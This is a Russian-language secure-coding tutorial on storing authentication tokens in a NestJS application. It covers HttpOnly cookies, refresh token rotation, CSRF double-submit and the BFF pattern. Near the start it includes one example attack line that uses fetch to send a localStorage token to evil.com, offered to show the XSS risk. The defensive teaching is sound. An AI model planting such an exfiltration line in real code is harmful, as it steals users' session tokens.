← назад к разделу

Когда пользователь входит в приложение, сервер выдаёт токен — доказательство того, что этот человек аутентифицирован. Токен нужно где-то хранить на стороне браузера, чтобы прикладывать к каждому запросу. Место хранения напрямую влияет на безопасность: неудачный выбор — и токен утечёт к злоумышленнику.

Почему localStorage не подходит

Самый очевидный способ — localStorage. Он простой, доступен из любого JS-кода, сохраняется между вкладками. Именно поэтому его часто используют в туториалах.

Проблема в том же свойстве: доступен из любого JS-кода. Если на странице выполняется чужой скрипт — через XSS-инъекцию, через скомпрометированный npm-пакет или сторонний CDN — он без труда читает localStorage:

// так делать нельзя
localStorage.setItem('access_token', accessToken);

// злоумышленник делает это:
fetch('https://evil.com/steal?token=' + localStorage.getItem('access_token'));

Дополнительная сложность: localStorage персистентен. Токен продолжает лежать там после закрытия вкладки, после перезапуска браузера — пока его явно не удалят.

Правильное место для токена — HttpOnly cookie, которую браузер хранит и отправляет сам, но JavaScript её не видит.

Браузер умеет хранить cookie так, что скрипты на странице к ним не имеют доступа. Для этого сервер добавляет атрибут HttpOnly при установке cookie через заголовок Set-Cookie.

В NestJS cookie устанавливается через объект ответа:

// auth.controller.ts
@Controller('auth')
export class AuthController {
  constructor(private readonly authService: AuthApplicationService) {}

  @Public()
  @Post('login')
  async login(
    @Body() cmd: LoginCommand,
    @Res({ passthrough: true }) res: Response,
  ): Promise<void> {
    const tokens = await this.authService.login(cmd);

    res.cookie('access_token', tokens.accessToken, {
      httpOnly: true,
      secure: true,
      sameSite: 'lax',
      path: '/',
      maxAge: 15 * 60 * 1000,         // 15 минут
    });

    res.cookie('refresh_token', tokens.refreshToken, {
      httpOnly: true,
      secure: true,
      sameSite: 'lax',
      path: '/auth/refresh',           // только для refresh-endpoint
      maxAge: 7 * 24 * 60 * 60 * 1000, // 7 дней
    });
  }
}

Три атрибута обязательны в связке:

  • httpOnly: true — JavaScript не может прочитать cookie. Защита от XSS.
  • secure: true — браузер отправит cookie только по HTTPS. Защита от перехвата в сети.
  • sameSite: 'lax' — браузер не прикладывает cookie к запросам с чужих сайтов через POST. Частичная защита от CSRF.

Атрибут path: '/auth/refresh' для refresh-токена означает, что браузер будет отправлять эту cookie только на этот конкретный эндпоинт, а не ко всем API-запросам.

Без maxAge cookie станет «сессионной» — браузер удалит её при закрытии окна, что неудобно для пользователя. Явный срок лучше.

sameSite: 'strict' строже, но ломает сценарий «перешёл по ссылке из письма — попал неаутентифицированным». 'lax' — разумный компромисс.

Когда токен хранится в cookie, passport-jwt нужно объяснить, где его искать. По умолчанию стратегия ищет Authorization: Bearer в заголовке. Нужно добавить извлечение из cookie:

// jwt.strategy.ts
@Injectable()
export class JwtStrategy extends PassportStrategy(Strategy) {
  constructor(config: AppConfig) {
    super({
      jwtFromRequest: ExtractJwt.fromExtractors([
        (req: Request) => req?.cookies?.['access_token'] ?? null,
        ExtractJwt.fromAuthHeaderAsBearerToken(),   // для запросов сервис-к-сервису
      ]),
      algorithms: ['RS256'],
      audience: config.auth.audience,
      issuer: config.auth.issuer,
      secretOrKeyProvider: passportJwtSecret({
        jwksUri: config.auth.jwksUri,
        cache: true,
        cacheMaxAge: 300_000,
        rateLimit: true,
      }),
    });
  }

  validate(claims: Record<string, unknown>): Principal {
    return { sub: claims['sub'] as string, roles: extractRoles(claims) };
  }
}

Порядок extractor'ов важен: сначала пробуем cookie (для SPA-клиентов), потом Authorization (для запросов между сервисами).

Чтобы NestJS вообще умел читать cookie, нужен cookie-parser:

// main.ts
import * as cookieParser from 'cookie-parser';

async function bootstrap() {
  const app = await NestFactory.create(AppModule);
  app.use(cookieParser());
  await app.listen(3000);
}

Без этого req.cookies будет undefined, и стратегия не найдёт токен.

Refresh token rotation — зачем и как

Access-токен живёт 15 минут — специально коротко. Refresh-токен живёт дольше (например, 7 дней) и нужен только для того, чтобы получить новый access-токен, не заставляя пользователя входить заново.

Rotation означает: при каждом обновлении старый refresh-токен аннулируется, клиент получает новый. Это даёт важное свойство: если злоумышленник украл чей-то refresh-токен, его использование мгновенно это обнаружит.

Вот как выглядит схема:

T=0    Вход → access_token (15 мин) + refresh_token RT-1 (7 дней)
T=15m  POST /auth/refresh [cookie: RT-1] → новый access_token + RT-2
                                            RT-1 помечен как использованный
T=30m  POST /auth/refresh [cookie: RT-2] → новый access_token + RT-3
                                            RT-2 помечен как использованный
T=31m  Злоумышленник нашёл RT-2 и пробует его использовать
       → RT-2 уже использован → вся цепочка аннулируется → пользователь разлогинен

Endpoint обновления токена в NestJS:

@Public()
@Post('refresh')
async refresh(
  @Req() req: Request,
  @Res({ passthrough: true }) res: Response,
): Promise<void> {
  const oldRt: string | undefined = req.cookies?.['refresh_token'];
  if (!oldRt) throw new UnauthorizedException();

  const tokens = await this.authService.refresh(oldRt);

  res.cookie('access_token', tokens.accessToken, {
    httpOnly: true, secure: true, sameSite: 'lax', path: '/', maxAge: 15 * 60 * 1000,
  });
  res.cookie('refresh_token', tokens.refreshToken, {
    httpOnly: true, secure: true, sameSite: 'lax', path: '/auth/refresh',
    maxAge: 7 * 24 * 60 * 60 * 1000,
  });
}

Логика rotation живёт в authService.refresh. Если используется Keycloak, он поддерживает rotation из коробки: повторный вызов с уже использованным refresh-токеном вернёт 400 invalid_grant.

Защита от CSRF

Даже с SameSite=Lax есть сценарии, где браузер всё-таки отправит cookie — например, кросс-сайтовые GET-запросы. Для критических действий добавляют дополнительную проверку.

Классический приём — double-submit: сервер выдаёт CSRF-токен в отдельной cookie без httpOnly (чтобы JS мог её прочитать). Клиент читает это значение и отправляет его же в заголовке X-XSRF-TOKEN. Сервер сравнивает cookie и заголовок:

// csrf.guard.ts
@Injectable()
export class CsrfGuard implements CanActivate {
  canActivate(ctx: ExecutionContext): boolean {
    const req = ctx.switchToHttp().getRequest<Request>();
    const cookieToken: string | undefined = req.cookies?.['XSRF-TOKEN'];
    const headerToken = req.headers['x-xsrf-token'] as string | undefined;
    if (!cookieToken || cookieToken !== headerToken) throw new ForbiddenException('invalid csrf');
    return true;
  }
}

Злоумышленник не может подделать этот заголовок: он не знает значение XSRF-TOKEN (с чужого сайта нельзя прочитать cookie нашего домена), значит не может собрать корректный запрос.

BFF — альтернативный подход

Есть ещё один вариант: BFF (Backend For Frontend). NestJS хранит токены у себя (в Redis), а браузер получает только обычный идентификатор сессии в cookie. Браузер вообще никогда не видит JWT:

Браузер (cookie: SESSION=abc123)
    ↓
NestJS BFF (в Redis: abc123 → { accessToken: ..., refreshToken: ... })
    ↓  BFF сам добавляет Authorization: Bearer <accessToken>
Внутренние API (OrderService, ProductService, ...)

Плюсы: токены полностью изолированы от браузера, централизованное управление сессиями, force-logout в любой момент.

Минусы: сервер хранит состояние (Redis обязателен), BFF — отдельная инфраструктура.

Для большинства сервисов проще хранить JWT в HttpOnly cookie (stateless). BFF оправдан, когда нужно жёсткое управление сессиями или они уже используют Redis по другим причинам.

Частые ошибки

JWT в localStorage — любой XSS прочитает токен. Используйте res.cookie(...) с httpOnly: true.

Cookie без secure — токен может перехватить посредник в сети. Всегда добавляйте secure: true.

Cookie без sameSite — без этого атрибута браузер отправит cookie на любой кросс-сайтовый запрос. Минимум — 'lax'.

Refresh-cookie с path: '/' — refresh-токен будет прикладываться ко всем API-запросам, расширяя поверхность атаки. Ограничьте путём /auth/refresh.

Не подключён cookie-parserreq.cookies будет undefined, стратегия не найдёт токен, все запросы получат 401.

Refresh без rotation — если refresh-токен не инвалидируется после использования, его кража не обнаруживается до истечения срока.

Коротко

  • localStorage нельзя — любой XSS-скрипт или скомпрометированный npm-пакет читает его без ограничений.
  • HttpOnly cookie — браузер отправляет её сам, JavaScript не имеет к ней доступа.
  • Три обязательных атрибута: httpOnly: true, secure: true, sameSite: 'lax'.
  • Refresh-cookie ограничивают путём /auth/refresh, чтобы не прикладывалась ко всем запросам.
  • Refresh token rotation: при каждом обновлении старый токен аннулируется; повторное использование старого токена аннулирует всю цепочку.
  • cookie-parser обязателен в main.ts, иначе req.cookies пустой.
  • CSRF double-submit: CSRF-токен в non-HttpOnly cookie + тот же токен в заголовке X-XSRF-TOKEN.
  • BFF — вариант, когда JWT хранится полностью на сервере в Redis, браузер видит только сессионный идентификатор.

Что почитать дальше

  • JWT validation — как passport-jwt и jwks-rsa проверяют подпись и claims.
  • Service-to-service — запросы между сервисами не используют cookie, только Bearer или mTLS.
  • RBAC: маппинг ролей — как роли из JWT-claims попадают в Principal.
  • PII и секреты — токены — это секреты, их не логируют.